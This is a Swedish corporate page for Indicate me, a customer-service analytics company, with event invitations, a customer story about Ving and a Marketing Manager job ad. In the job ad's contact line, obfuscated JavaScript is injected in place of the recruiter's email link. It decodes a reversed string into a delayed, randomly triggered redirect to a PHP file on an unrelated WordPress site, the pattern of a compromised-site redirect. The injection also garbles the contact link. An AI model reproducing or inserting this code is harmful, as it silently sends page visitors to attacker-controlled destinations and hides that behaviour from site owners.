Vi vill rikta ett stort tack till alla er som kom och förgyllde vår kväll igår! Hoppas att ni hade lika trevlig som vi. Har du några frågor kring föreläsningarna eller är intresserad av att veta mer är du alltid välkommen att kontakta oss.
Den 31 augusti är du och dina kollegor varmt välkomna till vårt kostnadsfria inspirationsevent i Stockholm. Under eventet kommer vi bland annat att tala om:
✓ Vår resa från 350 till 1000 anställda på 3 år
✓ Hur Halebop har ökat sin NPS med +30% på 6 månader
✓ Hur chatbots fungerar
Vi utlovar en härlig eftermiddag med spännande föreläsningar, god mat och dryck. Klicka här för mer information & anmälan >>
Bland det viktigaste för att nå framgång med ditt företag är att ha en stark kundvård och bra kontakt med dina kunder. På dagens konkurrensutsatta marknad har vikten av att bygga lojalitet och lönsamma kundrelationer ökat. Terje Dahl, Kundservice- och Försäljningschef på Ving, har sedan länge haft ett stort fokus på kundnöjdhet – och det är här Indicate me har kommit in i bilden.
Torsdagen den 18 maj kommer Terje Dahl att delta på Kontaktadagen för att berätta om hur Ving har tagit sin kundserviceverksamhet till högre nivåer med Indicate me.
– Vi strävar alltid efter att bli bättre för att erbjuda våra kunder den absolut bästa kundservicen. Vi lovar våra kunder kvalité, service och pålitlighet och det skall speglas i allt vi gör, berättar Terje Dahl.
Samarbetet mellan Ving och Indicate me växte fram under våren 2017. Samarbetet har framförallt präglats av framåtanda och kompetensutbyte med kvalitén i fokus. Med Indicate me’s användarvänliga webbtjänster har Ving erhållit en enkel och komplett onlineuppföljning av sin kundserviceverksamhet. I den moderna digitala plattformen samlar Ving upp all sin mätning som rör kundservice i ett och samma gränssnitt, allt från kundnöjdhet (NKI) till lönsamhet.
– All kundserviceuppföljning sker i en plattform, vilket möjliggör att vi kan se hur olika nyckeltal påverkar varandra och därmed se möjligheter till förbättringar, både vad gäller kvalitet och effektiviseringar, säger Terje Dahl.
I det användarvänliga gränssnittet får Ving all sin data presenterad i enkla diagram som är lättbegripliga. All fakta som samlas in kopplas till ett ärende, en medarbetare och ett team. Med några få klick får Ving snabbt och enkelt insikter av var förbättringar behöver ske. Under Kontaktadagen kommer Terje Dahl, Kundservice- och Försäljningschef på Ving berätta mer om de insikter de fått i sin kundserviceverksamhet.
Vill du vet mer om hur Ving tar sina kunder till högre nivåer med Indicate me? Anmäl dig till Kontaktadagen den 18 maj eller kontakta oss direkt!
Indicate me är ett dotterbolag till Releasy som utvecklar moderna och avancerade webbtjänster för framgångsrikt kundtjänstarbete. Alla på Indicate me är experter på kundservice. Tillsammans med ett team utvecklare har Indicate Me skapat en helt ny digital plattform som kan göra stor skillnad för er kundserviceverksamhet. Möt Indicate me.
För mer information
Lina Bjelkmar, VD, Indicate Me
Tel. +46 70 370 70 34
Mail. lina.bjelkmar@indicateme.se
Indicate me befinner sig i en spännande tillväxtfas och söker nu en driven, engagerad och självgående marknadsförare med en strategisk höjd. I rollen som Marketing Manager kommer du att ha ett helhetsansvar för samtliga marknadsaktiviteter på företaget och kommer därmed att spela en nyckelroll i den fortsatta tillväxten av företaget på den svenska marknaden.
Vi söker dig som har kunskap inom och brinner för digital kommunikation samt varumärkesbyggnad. I rollen kommer du att få möjlighet att vara med i ett tidigt skede och lägga grunden för Indicate me’s tillväxt genom marknadsföring av företaget utifrån ett varumärkesperspektiv. Vidare kommer du ansvara för att stärka Releasys position som arbetsgivare genom employer branding, vilket är nyckeln för Releasys fortsatta tillväxtresa.
Primära arbetsuppgifter
- Sätta den strategiska planen för Indicate me och Releasy’s kommunikation och varumärkesplattform
- Operativt genomföra varumärkesbyggande aktiviteter och kommunikation i både traditionella och digitala kanaler
- Ansvara för planering och genomförande av event för att bygga varumärkeskännedom
- Bygga varumärke mot externa partners till Indicate me
- Employer Branding i syfte av att attrahera framtida kollegor
- Leda arbetet med att optimera SEO/SEM/Marketing Automation
Tjänsten rapporterar direkt till VD och är placerad på huvudkontoret på en herrgård i Bergshamra norr om Stockholm.
Kvalifikationer
- Relevant akademisk utbildning
- Ca 2-3 års arbetslivserfarenhet inom liknande tjänst – B2B marketing är meriterande
- Stor digital kompetens, mycket meriterande med erfarenhet av SEO / SEM / Marketing Automation
Vi söker nu dig som är
- Både strategisk och operativ i ditt arbete, som ska vara med och bygga bolaget över tid
- Självgående och initiativrik, får saker att hända och tar ansvar för resultatet – en DO:er som trivs i en miljö som präglas av ”Trial and Error”
- Gillar ett högt tempo i en resultatdriven organisation
- Mycket bra på att uttrycka dig i tal och skrift, kommunikativ
- En van projektledare som kan hantera många saker samtidigt
- Analytisk
Indicate me erbjuder dig
En spännande och bred nyckelroll i direkt anslutningen till företagets ledning. Du blir del av ett litet, tight och kompetent team som precis har påbörjat en kraftig tillväxtresa. Du har stora möjligheter att påverka både din egen och företagets fortsatta utveckling – du sätter själv grunden och förutsättningarna för dina fortsatta möjligheter.
För mer information om tjänsten vänligen kontakta $NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:viktor.lundeberg@headagent.se”>Viktor Lundeberg. Ansök via Head Agent.
Den som vet mest vinner! Med Indicate me hjälper vi dig att samla värdefull information, mäta och analysera din kundtjänst så du med djupare insikt kan göra de förbättringar som krävs. Vi har sett företag öka sin produktivitet med över 50 procent det första året och du kan bli en av dem.
